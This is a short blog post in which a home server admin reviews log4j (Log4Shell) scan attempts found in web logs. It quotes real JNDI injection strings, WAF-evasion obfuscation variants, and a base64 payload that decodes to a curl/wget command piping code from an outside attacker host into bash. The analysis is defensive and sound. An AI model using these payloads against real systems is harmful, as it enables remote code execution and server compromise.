Logs full of jndi: scans / 2021-12-13

A large part of last weekend was filled with the log4j vulnerability at work. Now I have some more time to look at the effect this has had on my home server I'm seeing a patter of lots of 'friendly' scanners with a few actual attack attempts in between.

Some special ones from the logs:

Trying all the fields (URL, referrer and user-agent), probably a 'friendly' scanner:

45.83.66.84 - - [13/Dec/2021:04:53:21 +0100] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 969 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"

Trying to circumvent web application firewalls that have been set up with simple rules against the log4j vulnerability. I'm not sure whether this is a 'friendly' scanner or an actual attempt at abuse.

138.197.216.230 - - [13/Dec/2021:11:39:59 +0100] "GET / HTTP/1.1" 200 2211 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"

Trying to load a "Legitimate" java class.

167.172.44.255 - - [13/Dec/2021:17:26:02 +0100] "GET / HTTP/1.0" 503 652 borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClass} - -> /

But related to an IPv4 address that is becoming famous, I find this gem:

45.155.205.233 - - [12/Dec/2021:06:38:34 +0100] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==} HTTP/1.1" 200 2211 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}"

And decoding the obvious base64 gives:

echo -e KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA== | base64 -d ; echo
(curl -s 45.155.205.233:5874/45.83.232.134:443||wget -q -O- 45.155.205.233:5874/45.83.232.134:443)|bash

But I haven't been able to fetch anything from 45.155.205.233:5874 yet and I'm getting really curious what it is/was. The other IP address is the external address of the server, so I guess it's a way to make curl/wget not return an error code.